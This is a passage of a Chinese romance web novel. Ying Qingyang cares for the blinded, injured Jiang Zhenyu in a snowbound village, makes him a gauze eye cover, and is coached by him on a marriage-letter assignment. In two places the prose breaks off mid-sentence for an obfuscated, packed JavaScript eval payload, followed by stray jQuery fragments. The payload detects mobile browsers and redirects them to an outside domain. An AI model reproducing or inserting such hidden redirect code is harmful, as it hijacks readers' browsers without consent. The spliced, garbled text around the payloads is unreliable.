遮光……纱巾……
他双手环胸陷入沉思,片刻后突然眼睛一亮。
应青炀抬脚便往外走,步子很急,却尽量没有发出声音,离开屋子时还不忘严丝合缝地把门带上。
“阿墨!替我去主屋守一会儿!”应青炀招呼了一声在偏院里劈柴的高大青年,脚下步子不停,一溜烟儿便跑了出去。
阿墨一身使不完的气力,为了让长辈们多休息,落雪一停就在外忙碌,今天也一样。
“哦!”阿墨慢半拍地应了一声。
但他显然不解其意,拎着手里的柴刀就往主屋那边去了,看起来不像是要去守着,而是要去收割性命的。
应青炀顶着寒风去了村里的库房,他记得那边应该还有些没有卖掉的旧布料。
他脚步迅速地进了库房,在里面翻翻找找,终于在犄角旮旯里翻出几批轻纱。
也不知道当年收拾细软的人怎么选了这几样东西,但看外表其貌不扬,暖白色的轻纱料子十分轻盈,拿在手里没什么重量,也看不出又多珍贵。
实际这东西却很遮光,大概是原本皇宫里用来裁制床幔的东西。
低调奢华有内涵,算是布料中的极品了,也是当年的大应皇室专供。
但是太过珍贵的东西,贸然出现在琼州这种偏僻的地界实在过于显眼,以防万一,村里变卖了那么多金银细软,偏偏留下了这些。
在库房里吃灰了这么多年,总算是有用武之地了。
应青炀做贼似的来,偷偷摸摸地走,一路上遮遮掩掩回了主屋。
药材一事已经是自家太傅仁慈,对方要是知道他还动库房里的轻纱,不知道要怎么数落他呢。
——好在没人发现。
应青炀沾沾自喜地回了主屋,却不知道姜允之正站在窗户前,盯着他鬼鬼祟祟的样子,表情一言难尽。
在身后,沈朗坐在长桌边,正打量着放置在桌面上的一件月白色的衣袍。
粗糙的木质桌面下方额外垫了一层灰色的麻布,两相对比之下,更衬得这件带着云纹的衣袍华贵耀眼。
沈裁缝本人没有这么讲究,但这月白色的衣袍光看着就知道料子不是凡品,他怕桌面上的毛刺把袍子刮坏,所以才这般谨慎。
由于这男人身量太高,村里并没有合适的成衣能直接给男人穿上过冬,沈朗这才把换下来的衣袍拿过来准备比照着尺寸准备给男人裁制两件新衣。
总穿着他家殿下的衣服算怎么回事。
小一截不说,不成体统。
只是他刚刚把这件衣袍拿过来,此时越看越觉得奇怪,沈朗神色犹疑,“太傅,这料子恐怕是江南一带才会有的,而且不是寻常人能接触到的……”
之前听殿下言之凿凿说对那人一见钟情,非卿不娶,沈朗原本是最无所谓的,左不过是增加点工作量。
此时才终于体会到有些不妥,心底泛起点隐忧。
沈朗这样想着,坐在桌前便有些坐立不安。
站在窗边的姜允之闻言只是捋了捋胡子,答非所问:“之前孙大夫说,他这眼睛还能不能治好?”
听他提起,沈朗才想到这一茬,“说是不大可能,但也不好说,这人命硬得厉害……”
姜允之目光幽深地看着主屋的方向,阿墨正站在门口,似乎刚刚才被应青炀赶出来,手里还拎着那把雪亮的柴刀。
他道:“去把阿墨叫来,我有话要叮嘱他。”
*
江枕玉是被腹中的饥饿感折磨醒的。
他在昏睡过程中浑浑噩噩,不太清楚自己身在何处,短暂的清醒时间里,思维也异常混乱。
但由于刚苏醒时和应青炀的一番交谈,潜意识的不太想早早醒过来。
这次他睁眼时,眼前仍然是一片无边际的黑。
江枕玉愣神了好半晌,这才想起自己已经目不能视。
他不太习惯。
江枕玉眨了眨眼,这才发觉自己眉眼处似乎遮盖着什么东西,他脆弱的眼睛没有被落下来的烛光刺痛。
耳边只听得见烛火的噼啪声,以及粟米粥在砂锅里翻滚的咕嘟声。
江枕玉浑浑噩噩的这段时间,这两种声音几乎一直坚守岗位,比屋外的风雪声还要敬业。
这锅粥到底在炉灶上呆了多久了……?
毫无缘由的,他脑海中突然冒出了这样的疑问。
他身体已然恢复了些许气力,于是伸手探向自己眼前,指尖触摸到一截柔软的纱巾,边缘有些毛躁,似乎是特地缝制出来给他遮光用的。
纱巾轻得几乎没有重量,也没有什么束缚感,但他仍然觉得这种掩耳盗铃的举动毫无意义。
他正准备将纱巾摘下来,就听门口“咔哒”一声,门轴转动的声音夹杂的风雪的呼号,随后一声高喊传来。
“手下留情——!!”
应青炀脚步极快地窜了进来,估摸着比他平时躲避姜太傅追杀的步伐还要快上几分。
江枕玉那修长的手拿捏住了应裁缝的命脉,那略显不耐的动作似乎下一秒就要将纱巾丢到床头的油灯边上,然后烧个精光,估计留下来的灰烬都要在半空中飘成几个字——多管闲事。
尽管,这个目不能视的家伙或许根本不知道自己床榻前还放着危险的火种。
应青炀急着抢救自己的纱巾,已经顾不得其他了。
他一手攥住江枕玉的手腕,皮肤相贴时,只觉得那伶仃一截的腕子和极低的体温都显得不太像活人。
然而应青炀刚从外面回来,手还要更冰凉一些。
江枕玉身上还勉强有些棉被捂出来的热乎气,应青炀就和刚从冰柜里出来没什么区别。
皮肤相触的一瞬间,江枕玉被那窜上来的冷意刺得打了个寒战。
那节腕子在掌中微微瑟缩,应青炀也跟着愣了下,一时间忘记了自己要说些什么。
他下意识缩紧了手,半晌才找回自己的声音。
“祖宗,这东西做出来可不容易,轻点扯。”
这个姿势格外怪异,江枕玉并不喜欢这种被制约的感觉,手腕上冰凉的束缚感像锁链似的向上蔓延,于是说出口的话又带了些不耐,“……不必,你拿走做其他用途,我闭着眼就是了。”
江枕玉蹙眉,不能理解应青炀这番举动,也不习惯这种泛滥到他身上的怜悯之心。
可惜他大病未愈,根本没法和应青炀这个牛犊子一般壮实的年轻人比力道,硬是被对方扯开了手腕,然后迅速塞回了被子里。
整个过程行云流水,那随手掖被角的动作看上去仿佛已经做了无数次了。
江枕玉拗不过他,木着一张脸,多少有种反抗无能就接受的无力感。
像是第一次针锋相对时,情绪上头说出的那些伤人之语,精神状态正常的江枕玉很难再说出口了。
应青炀在屋子里溜溜达达,不知道在做些什么,伴随着器皿碰撞的声响,他缓缓解释道:“做都做好了,不用着岂不是白费了这番力气,连东西都得跟着一起扔了,毕竟村里除了你,也没有能用得上这东西的人。”
“这轻纱是家里长辈留下来的,之前就说过要给我未来的妻子做个遮面的斗笠用,现在也算是物尽其用了。”
“啧,据说还挺贵的?你有没有觉得摸起来不太一样?”
应青炀絮絮叨叨,说话声一直没停。
前几句江枕玉还有精力仔细听,“妻子”二字一出口,他便把对方的话当风雪声听了。
他总觉得对方像是前半辈子没说过话,憋得狠了,才会这样一直跟人絮絮叨叨。
江枕玉被念叨得头疼,仿佛二十几个言官,不分场合地在自己耳边劝谏。
他不由得打断道:“以前有大夫告诉我,说话浪费气血,于身体无益。”
这句委婉的“闭嘴”应青炀当然听懂了。
他难得语塞,“你这话不是很吉利啊……?”
江枕玉语气平淡:“我是在劝你休息。”
年纪轻轻就一把年纪,唠叨个没完。
应青炀若有所思地点头,端着药碗向江枕玉走近。
江枕玉看不见,但只觉得一股苦涩的药味缓慢向自己逼近。
“好吧。那不说废话,江兄,干了这碗药汤!”应青炀拿着药碗,坐到榻边,语气豪放得宛如敬酒。
他伸手欲要将人扶起,榻上的人却提前感知到了他的动作。
“不必。”江枕玉拒绝道,自己撑着床榻缓慢坐起,动作间隐约感受到了左腿上的细微疼痛。
他不由得一愣。
很显然,虽说是赤脚大夫给他正的骨,但这条腿大概是能保住的。
江枕玉觉得有些荒诞。
总觉得坠崖之后遇到这个人开始,一切以为不可能的事情都成为了可能。
他百感交集,下意识侧头,“看”向了应青炀的方向。
应青炀自然不知道这人脑子里在想什么,只看他动作停了,便贴心地把枕头放到江枕玉身后。
谷壳填充的枕头有些隔人,江枕玉被应青炀按着肩膀靠上去。
感受到对方动作的江枕玉:“我可
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960300|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
以自己来,你不必……”
应青炀道:“不必谢我!我这人一向乐善好施!”
江枕玉:“……”有点想反驳,但也知道没用。
应青炀将对方欲言又止的样子尽收眼底,愉悦地勾了勾嘴角。
他顺势把药碗塞到了江枕玉手里。
江枕玉捧着药碗没动,沉默片刻,他想起了半梦半醒中一直能听见的捣药声,问:“你到底准备让我还你多少银钱?”
应青炀从这句话里听出了拒绝的意味。
于是他道:“起码够你喝上两个月的了。”
“等等等等,你难不成想说让我把准备好的药包都卖掉,然后少让你还些?那你想错了,大夫和我说了,制好的药卖不掉的,开弓没有回头箭!”
江枕玉不吃这一套,冷漠道:“医术我也略懂一些。”
应青炀一噎,随后差点声泪俱下。
“你知道我给你准备这些药花了多少银子吗?”
“你知道我每天给你喂饭有多困难吗?”
“你知道捣药这活计有多难做吗?”
应青炀情真意切,差点要把自己说哭了。
江枕玉已经发现了,不能和这人言语交锋,他向来寡言,在这人面前讨不到好。
于是干脆地把药碗往外一伸。
应青炀抬手便推。
好在汤药不多,不至于两下便泼洒出来。
两人推据间,原本放在屋子里的火炉突然不堪重负,“砰”地一声炸开了一个角。
两人动作同时停住了。
应青炀敏锐地注意到,靠在床榻上的人身体一僵,手腕后缩,做了一个向后摸索的动作,像是条件反射地准备自我防御。
应青炀回头看了一眼,便瞅到外间的炉火堆里,碎裂的陶瓷炉子碎片散了一地。
他道:“没事,就是炉子用得太久了,也是时候该换新的了,这炉子的岁数估计和我差不多。”
“我去处理一下。”应青炀叮嘱一句,便松开药碗走到外间。
应青炀收拾火炉堆的残骸,江枕玉靠在榻上。
药碗的温度缓慢顺着掌心向上蔓延,一时间屋内只剩下捡拾陶瓷碎片的声音,江枕玉甚至能隐约在脑海中勾勒出应青炀的轮廓。
风雪声似乎呼号得更加凄厉,让人心里略微的烦躁感在寂静中缓慢消磨干净。
江枕玉从前做事总要反复斟酌,考量是否正确,以至于他很少冲动做事,也常常忘记,一个人做下某些决定通常都是一个闪念间。
片刻后,他端着药碗忽然问:“这个冬天冷吗?比之往年如何?”
应青炀一心二用,还能流畅作答:“确实要更冷些,雪下的太久了,估计琼州的山里,要冻死不少人,能被我捡回来,算你幸运的。”
江枕玉循着风雪声微微侧头转向角窗,“来琼州之前总听人说,这次雪灾是天罚,当今太上皇残酷不仁所致。”
应青炀一挑眉,“呦……你不是忌讳着隔墙有耳吗,怎么自己又提起太上皇来了。”
“不过要我说,有没有雪灾,又有多少人因雪灾而死,和那位一点关系都没有。”
他这话说得漫不经心,似乎只是随口搭话,但话语中却莫名有种笃定。
江枕玉的手微微收紧,心跳声像是缓慢跃起来的鼓点。
那边应青炀把陶瓷碎片收拾好,越想越觉得悲从中来。
“要是真有所谓的天命存在,那他怎么只知道惩罚,不知道奖励那一套的?学堂里的夫子还知道打一把掌给一个甜枣呢!迂腐啊!!我从小到大做这么多好事,也没见着我出门就捡一筐金子啊!!!”
江枕玉:“……?”
他还没升起来的那点莫名的情绪,都被应青炀后面这遗憾的一声喊给震了回去。
他就多余和这小子聊天。就算他这次没丢了命,也早晚得因为这小子再把自己气死。
罢了。
今年的冬天太冷,这小子家徒四壁,死了又要白白浪费他一副草席,本就不富裕的家庭岂不是要雪上加霜。
江枕玉再度沉默下去。
他端起药碗,将热气快要散尽的汤药一饮而尽。
苦涩的味道在口中炸开,江枕玉的表情微僵,拿着空碗的手有些许颤抖。
应青炀回头就看到这幅场景,便知道那碗黄连放多了的汤药让榻上的人尝到了点苦头。
他说话时语气便难掩幸灾乐祸,“大夫说你心中郁结,要降降火气,所以黄连多放了一点。”
江枕玉拒绝去思考这“一点”到底是多少。
江枕玉:“……多谢。”
山里的赤脚大夫都下猛药,倒也正常。
等应青炀过来拿药碗的时候,他表情已经恢复正常,云淡风轻一般。
“还有个制好的药丸。来,张嘴——”应青炀为数不多的善心再次发作。
江枕玉已经被黄连加倍的汤药刺得舌根麻木,此刻再苦的药估计都不会激起他任何反应。
于是下一刻,有什么东西被应青炀强硬地蹭过他的下唇进入口中。
然而预想中属于药丸的苦味并没有继续萦绕于唇齿间,反倒是一股酸甜的味道缓缓蔓延。
——这是一枚山枣蜜饯。
边上原本幸灾乐祸的小混蛋轻笑一声,“怎么样?甜吗?”
14. 松柏回青
再刻薄的人也很难在这个时候说出什么不友善的话来,何况是伪装出来的刻薄。
一句道谢便自然而然地脱口而出。
“多谢。”
他舌尖下意识将蜜饯向内裹挟,隐约品出这大概是山枣做的,农家自制的蜜饯,居然没有半点土腥味。
那近乎能让舌根麻木的苦味终于被缓慢压下。
让他看起来整个人的气质都平和了不少。
应青炀一边观察这人的神色,一边认可了这袋供他一冬的零嘴。
应青炀的糖衣炮弹卓有成效,两人甚至相安无事地用了一餐饭食,虽然只是一碗粟米粥,但对江枕玉这个病人来说足够了。
他收拾完碗碟,就见江枕玉伸手掀开棉被,尝试动了动那条仅存的好腿。
应青炀于是善解人意地快步走到床边,慢慢引导对方从床上下来,走到最外间。
“如厕是吧?慢点我带你去。”
伤腿触地的一瞬间,江枕玉蹙了蹙眉。
他清楚地知道自己应该静养,但他一向不喜欢外人触碰,一贯如此。
偏偏边上的人还要补上一句,“需不需要我给你把着?”
江枕玉:“……”听听,这是人说的话吗?
江枕玉脸色青一阵红一阵的,显然对这种多少有些露骨的话语感到不适应。
这种粗话,太上皇陛下离了军营之后就鲜少听到了。
金銮殿上,哪怕是再不修边幅的武将,在他面前也会装得人模狗样的。
而且因为知道太上皇的这种偏好,大梁立国以来一直是儒将偏多。
江枕玉只尴尬了一瞬,就调整好了自己,面上八风不动。
应青炀礼貌退开几步。
这样的小插曲一出现,两人间的气氛陡然变得礼貌又尴尬。
躺在榻上的男人沉默了许久,才终于认命似的开口问:“我昏迷的那几天……”
应青炀知道他想问什么,“我照顾你的。放心,没有别人,也没有女眷。”
江枕玉:“……”是你好像该更不放心。
应青炀继续补充:“你昏迷不醒当然事事都得要人照顾,而且你还不配合,知道我给你换衣服废了多大力气吗?”
江枕玉深吸了一口气。
应青炀还嫌不够,“喂药的时候也得我亲力亲为,更别提其他的……”
江枕玉略一翻身,拉上棉被,不说话了。
应青炀盯着他的背影,忍了好半天,才终于哈哈大笑起来,“你放心,你醒来之前因为重伤,几乎和尸体没什么差别。”
勉强还能保住一点形象,但也不多。
不过他刚把这人带回来的时候,看那脱衣有肉的身材和流畅的肌肉线条,就知道这人是学过武的,可惜这些天熬下来,已然清瘦得没有人样了。
应青炀叹了口气。
江枕玉:“……”他拒绝去想这个满脑袋成婚娶妻的臭小子在惋惜什么。
江枕玉一想到自己被无微不至的照顾过就觉得浑身不对劲。
这天以后江枕玉便开始自力更生。
喝药、吃饭,自己进食,甚至尝试做腿部康复训练,只要是需要人帮助的事情,江枕玉都要自己动手。
看着仿佛他多么有求生欲似的,实际上都是被逼无奈。
江枕玉从未这么清晰地明白一件事。
这小混蛋是真的对他没有半点嫌弃,只要他说一个“不”字,应青炀就会亲自上手,或者在江枕玉的拒绝下退一步。
——在江枕玉不知道的时候亲自上手。
于是江枕玉从习惯性地推据转变为了习惯性接受。
如果此刻两人的身份立场完全调换一下,应青炀估计会想试探一下这个照顾的底线在哪里。
并在激怒对方的边缘反复横跳,不过好在,江枕玉不会这么不理智。
他骨子里有种被打磨过的,属于世家公子的风度。
俗称,死要面子活受罪。
人长久卧床不起不但身体上会受折磨,心理上更是。
没有人比应青炀更清楚这点。
但缺少了这种接触之后,江枕玉单方面把两人的距离拉远了,应青炀倒是一如往常,话密得让人难以忍受。
不过两人之间的相处反而更加和谐了,颇有些相敬如宾的感觉。
就这么过了小半个月。
应青炀其实也不是个多么能坐得住的人,他在屋子里也闲不住,总会做些稀奇古怪的运动。
江枕玉看不见,但也知道是在强健体魄。
心说要不是冬日里,这人估计早就出去撒欢了。
彼时还在撑着地面做俯卧撑的应青炀自然不知道对方是怎么想的。
应青炀又没有不良于行,长时间待在屋里会让一个人精力旺盛的年轻人憋出内伤,所以自从江枕玉醒来之后,就会偶尔出门。
只不过时间都不长,大抵还是无止境的风雪限制了发挥。
江枕玉每天无所事事,留心观察过自己的这位债主。
对方每天会出门一段时间,走之前带上书桌上的某样东西,长吁短叹,极度不情愿,仿佛要出门奔丧。
回来的时候更是像丢了半条命,好似被什么东西吸了精气,趴在桌案上半个时辰都缓不过来。
刚开始症状还比较轻,只在长吁短叹的范畴,明显是有什么烦心事。
江枕玉礼貌地没有过问对方的私事。
后来就逐渐有点不对劲起来,原本整日的唠叨也不继续了,也不抓着他聊天了,整个人萎靡得厉害。
江枕玉都忍不住怀疑这人是不是得了什么不能治愈的顽疾。
比如今天。
江枕玉正坐在床榻上按摩左边小腿。
都说伤筋动骨一百天,但他的恢复速度一向异于常人,隐约觉得再过不久,或许就可以撤掉夹板尝试下床走路。
他侧耳听了一会儿,由于对方的反应过于生动,简直能在脑子里想象出模糊的场景来。
“滋啦——”
这是某人拉开木头椅子发出的响声。
“啊啊啊啊哼哼哼哼……”
这是某人烦躁地开始突发恶疾。
“砰砰砰——”
这是某人烦躁地用额头匀速敲击桌面。
江枕玉:“……”
明明看不见,对方的样子却能轻易浮现在脑海中,只不过面容模糊。
不知怎的,他仿佛看到一只大型犬科生物在眼前耷拉着尾巴和耳朵,喉咙里发出委屈的呜咽。
——简直是虐待。
从前看别人养狸奴都没有这么折磨的。
江枕玉忍不住动了恻隐之心。
“何事如此烦恼?”江枕玉微微侧头,被轻纱遮住的双眼精准地循声捕捉到了应青炀的位置。
垂下的眼纱下方沾了点血迹,暗红色染在白纱上极不相称。
应裁缝心虚的视线飘了一瞬。
他学艺不精做了件残次品这种事,还是不要让江兄知道了。
那人哪怕是坐在床榻上,脊背也仍然挺直,像回青的松柏,只要环境适宜,便会逐渐在暖意中显现出风采。
这破落的房间陈设,带血的白纱,也没能打破这人的风雅气度。
应青炀只看了一眼,便微微抿唇,转回身,发泄似的用额头继续撞着桌面。
一边撞一边郁卒地道出实情。
“夫子说我脑子里装的都是水,让我好好倒倒。”
江枕玉看不到的桌面上,还放着一张宣纸,最次等的宣纸粗糙厚实,在应青炀的捶打下也没有半点变形走样。
上面乱七八糟的字迹还带着姜太傅犀利的评语:狗屁不通。
事情还得从几天前说起。
江枕玉的身体正在慢慢好转的事情瞒不过姜太傅的眼睛,在知道这位“皇子妃”已经能够生活自理之后,姜太傅终于图穷匕见,把之前婚书那一茬又翻了出来。
“江兄啊……我这人平生最讨厌两件事。一是治学,二是作文……”
应青炀的脑门停在宣纸上,生无可恋地抱怨着。
姜太傅拿这篇莫须有的婚书作为切入点,仗着之前应青炀不得不答应他的要求,挟药材以令皇子。
从婚书格式到内容再到文中应有的深意,引经据典,试图另辟蹊径让知识以诡异地方式进入应青炀的脑子。
应青炀硬生生被折磨了小半个月,宣纸上的批注一直没有变过。
他越想越气,嘴里再度发出烦躁的呜咽声。
——不带这样的。从前太傅可没这么执着地让他做文章啊。
江枕玉懂了,原来这人每天风雪无阻地往外跑,是要去夫子那里听学。
以他在这里住了将近一个月的经验来看,这个村里的人大多数沾亲带故,救他这位大概是因为年纪小,很是受照顾。
否则这么个穷乡僻壤的地方,这少年上哪养成这幅还
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14960301|161039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
算懂些人事的性格。
江枕玉道:“说来听听。”
听应青炀日常里一开口就停不下来的风格,不太可能会写不出东西,多半是内容不太合格。
“啊?要我先读给你听吗?”应青炀猛一抬头,撇了一眼桌面上的宣纸。
开头便是被姜太傅硬按着写上去的:两姓联姻,一纸缔约。
应青炀顿时气虚了,扭扭捏捏,“这……我觉得不太好……”
江枕玉淡然道:“或者你已经练出了入梦的能力?”
应青炀深深叹了口气,下意识揉了揉有些泛红的耳根,他拿起宣纸。
“那我可真读了。你认真听。”他清了清嗓子,缓声道:“两姓联姻,一纸缔约……”
江枕玉蹙起了眉。
“今琼州琼山东南镇荒村炀与仙人江氏因缘际会喜结良缘……”
江枕玉:“……”先不提这乱七八糟堆叠在一起的文字,是不是有两个人名很耳熟。
他略一转身,坐在床榻边缘,双手垂放在大腿上,表情略显严肃,下颔线绷紧,正色的样子隐约显出些久居上位的威严。
“你的课业是写婚书?”而且还是他们两个的?哪有这么不正经的课业。
应青炀支支吾吾了半天,这才解释:“就那解毒的草药。若非我说了娶你过门,家里长辈断然不会同意给你用的。”
江枕玉能够理解,毕竟以他毒入肺腑的境况,半只脚已经在鬼门关里了。
能把他救回来,估计是什么压箱底的家传宝贝。
江枕玉道:“你家长辈知道你要娶个男人?”
应青炀原本还没骨头地倚在桌边,硬生生被江枕玉严肃的话语影响,坐直了身体。
“知道……我想要的,他们不会拒绝。”
地主家的傻儿子。
江枕玉在心里如此断言。
他说话时略带了些冷意,这些时日相处中的融洽氛围几乎快要被他打碎,“胡闹。不管我能不能活过这个冬天,这个冬日里的开销我会悉数还你。”
这犹如割席似的冰冷话语着实有些刺耳。
应青炀烦躁地挠头,他踱步到榻边,顺势蹲下了,仰头看着江枕玉冷硬的面容,碎碎念似的道:“江兄……好哥哥……我承认我是信口胡诌的,当时也是为了救你,也没有真的要冒犯,都是权宜之计,之前会那么说也是因为你嘴下不留情……”
“你明明都知道的……”他的声音低低的,沉闷得仿佛被笼罩在一片无形的阴云之下。
江枕玉的手缓缓攥拳。
他知道少年此刻就在自己身前,那受伤的视线落在自己身上,感觉十分明显。
片刻之后,他微不可查地叹了口气,“此事莫要再提。”
应青炀双手探出,抓住江枕玉垂在榻边的手,“那是自然,以后你我二人就是知己!”
少年人眉梢微扬,半点看不出难过,甚至狐狸眼里还有一闪而过的狡黠。
可惜江枕玉看不见。
他只低头“看”了一眼两人交握的手,薄唇轻抿。
虽然早知道琼州这边民风淳朴,荒山野地里的人也不讲究什么礼数。
但是,但是。
你们山里人都是这么交朋友的吗?
当然没有。
应青炀也只是情之所至,一触即分,略高的体温迅速从江枕玉手掌外抽离。
江枕玉无意识缩了缩手指。
应青炀于是光明正大、当着另一位当事人的面,开始大声朗读自己写给对方的婚书。
一边念一边瞥榻边温润如玉的男人。
嘴上便开始不受控制,脱离了范本。
江枕玉越听眉头蹙得越紧,偏偏应青炀完全不觉得自己有问题,总有歪理能言之凿凿地反驳。
“我二人破镜重圆……”
“……哪里来的破镜重圆?”
“怎么不算,你刚醒的时候我们还吵了一架!”
“……你继续。”
“虽不能同年生,亦不可同岁死。”
“这是婚书还是遗书?”
“江兄你比我年长,同岁死岂不是要有人成鳏夫?”
老年人·江枕玉:“……”
一刻钟之后,江枕玉彻底明白了,他从榻边拿过巾帕递给应青炀,“铺到桌面上再继续。”
别到时候水没倒干净,脑袋先撞碎了。
应青炀发出一声哀嚎:“江兄——”
15.伯牙绝弦
江枕玉虽然说了几句锥心的话,但没有真的放弃应青炀的意思。
毕竟对方在这穷乡僻壤的地方能识字就已经很是不易,又怎么能苛责太多。
江枕玉听过一遍之后,便能开始给他逐字逐句的分析,过耳不忘这件事对他来说并不算太难。
他对文章的见解没有姜太傅那么古板,甚至能接受一些应青炀稀奇古怪地观点。
江枕玉的确比较能够接受新鲜的思想,千奇百怪的奏折都看过了,应青炀这点就完全是小儿科。
但他也没遇到过做文章这么不合格的臣下,毕竟大梁的科举也不是摆设。
应青炀绝对是他这些年来遇到过最油盐不进的那个,看似在认真听他讲学,实际上脑子已经不知道在思考什么了。
看似对答如流,实际都是随口胡说。
应青炀要是能读心到他的想法,估计要大呼一声委屈。
天地良心!
应青炀是真的不想江兄对他白费口舌,一开始真的有努力在跟上脚步,不过随着这人的说法逐渐晦涩,再加上对方那温润的嗓音和那股子读书人特有的风雅,他开始只顾着用眼睛看,不记得要用耳朵听了。
一边是直击心灵的俊美。一边是深恶痛疾的学问。
应青炀会选哪个毋庸置疑。
他的大脑理所当然地开始抗议,于是知识以一种诡异的方式绕了过去,没留下半点痕迹。
半天之后,江枕玉理解这小子为什么被折磨这么多天。
“如果我是夫子,你早被退学了。”江枕玉语气凉薄,却说出了应青炀最想听的话。
太上皇陛下一向如此苛刻,国子监里要是出了应青炀这种类型的草包,早就被他一纸诏书踢出去了。
不知道那位夫子有没有被这笨学生气出心疾。
江枕玉索性无事,便开始逐字逐句教应青炀改写,理解这人的天马行空之后,不管对方再说出什么强词夺理的发言,江枕玉都能保持淡定。
顶多是沉默片刻,便迅速找到角度反驳。
应青炀表情痛苦抓耳挠腮,每次发言都好像一拳打到了棉花上。
眼前这位临时夫子,颇有种泰山崩于前而不乱的淡然,情绪异常稳定,就算他写得再差,读完了之后江枕玉也只会给一句:“重来。”
语气平淡得仿佛是让他喝口水那么容易。
应青炀简直怀疑最初两人的吵架只是他累极了白日做梦呢。
毕竟已经是互相认定过的知己,两人之间平和的相处差点因为这件小事被打破。
极为罕见的,应青炀是濒临崩溃的一方。
他开始觉得自己恐怕会因为用脑过度毙溺于风雪。
也不知道他那些狗屁不通的文字到底是在折磨谁。
好在应青炀总能找到苦中作乐的方法。
完整地修改过一遍之后,结束那酣畅淋漓的教习,应青炀果断把手上的宣纸一扔,脑袋“砰”地一声撞到桌面上不动了。
江枕玉不自觉地侧耳,听了片刻,确认这人只是在休息,而不是准备一头撞死自己。
榆木的,估计撞了也只能听个响。
果不其然,趴了一会儿,应青炀就憋不住了,沉默是金,而他向来一贫如洗。
他开始“江兄——江兄——”地叫魂。
尾音要上扬起来还得拐个弯,好像这样才能显现出两人的亲近,间或还带着“嘿嘿”的轻笑声,状似讨好。
“说人话。”江枕玉应声道。
应青炀仿佛得到了什么许可似的,“蹭”地一下坐直身体,一张宣纸跟着粘了下来,和额头贴得如胶似漆难舍难分。
应青炀冷酷地棒打鸳鸯,他晃掉了宣纸,迫不及待:“江兄,江兄,上次说到哪了?你和同伴们乘船到了金陵,然后怎么样了?话本上说金陵到处都是四通八达的水系,是不是真的?”
应青炀这张嘴总是不得闲,他仿佛有无数的话不吐不快,一天能说出不知道多少个问题,江枕玉不是个多么健谈的人,他只是每次都遭不住那一句句“江兄”,时间久了仿佛能余音绕梁,三日不绝。
江枕玉噩梦都做了好几回。
醒来之后面无表情,几次下来他就妥协了。
有些事情坚持没有意义。
而他们每次的话题都和北境之外的事情有关,应青炀的每一个问题,都透露着对大千世界的好奇。
这并不难理解。十几岁的少年,习了字,读了书,懂了点人事,明白世界之大,自己只在小小一隅,自然会生出探求之心。
这是人们向往自由的本能。
应青炀只是很不走运,一出生就在这几乎与世隔绝的荒山野地里。
就算被他救下的人不是江枕玉,他也会从其他途径了解山外的世界,等到有一日亲自用双脚去丈量这片土地。
江枕玉知道自己只是一个过客。
萍水相逢即是缘分,就算从现状来看,这有点像是一段孽缘,但江枕玉并不吝于给应青炀开拓眼界。
江枕玉亲手打下了大梁的江山,几乎能无死角地解答应青炀的所有疑问,即便回答里偶尔会不自觉的夹带私货,也仍然是一笔宝贵的财富。
以德报怨不外如是。
他伸手探向不远处的矮桌,应青炀已经一步上前,谄媚地把茶杯递到江枕玉手里。
男人拿起茶杯抿了一口温热的茶水,琼山里特有的尖茶,陈年的老梗混在其中,苦涩着入喉。
“金陵在大江下游,秦淮两岸。的确水系发达,去金陵的人大多走水路,水系联通周边各郡,远比陆路更迅捷。”
“江南一带沿河而建的城郡,风景大多没什么差别,左不过是游船多些,商贾贸易,游人往来都格外频繁。没什么趣味,不但人口众多,秦楼楚馆也总有靡靡之音,很是吵闹。”他语气和表情都十分平淡,并不是个称职的讲述者,如果有朝一日加入说书人的行当,估摸着都会被义愤填膺的听众们赶下台。
此刻唯一的听众眼眸晶亮,硬是能靠着无与伦比的想象力,在江枕玉干巴巴的讲解中,自眼前勾勒出水乡的独特景致。
与他想象的别无二致。
“金陵郡从前朝到如今,一直都是商贸往来的中心,每年数以万计的白银流水似的送入国库,文化也极其繁荣,是多方混战时唯一没有被波及到的城郡。而且此地有长江天险,难以攻克,所以大梁才会选择金陵作为国都。”
“不过金陵不是当时的最佳选择,大梁军以骑兵营为最,水军并不强盛,夺下金陵郡的那一战只是惨胜。”
应青炀听得连连点头。
这事他熟。他从姜太傅嘴里听到的最早的攻讦,就是对大梁定都的选择过于专权,水军是当年大梁军或者说边疆军,唯一的短板,把这个短板拱手暴露于人前,是非常危险也非常大胆的决定。
应青炀似懂非懂地点头,道:“但大梁还是选择在金陵建都。那位陛下不会是想着借此练兵吧?”
险之又险的一步棋,一着不慎满盘皆输。
江枕玉闻言一顿,微不可查地“看”了应青炀一眼。
“或许。”江枕玉给了个模棱两可的答案,随后又道:“则定都城的确是件大事,但除了一些需要考量的因素。决策者的选择也很重要,最终定下哪里也有可能是一念之间。”
应青炀听懂了,这是说太上皇本人或许也出于某种私人原因,促成了定都金陵的大事。
应青炀挠了挠头,“万一……我是说万一,边疆军若在那时大败,当如何?”
“落子无悔,是为君者必须承担的风险。决策一旦失误,也只能尽力承担。”江枕玉语气平淡。
不过他脑子里想的却是,那就再打回来。
秦淮两岸奢靡之风盛行,驻守的水军也都是些软脚虾,若非某些特殊原因,群雄逐鹿时,金陵早就第一个成了人间炼狱
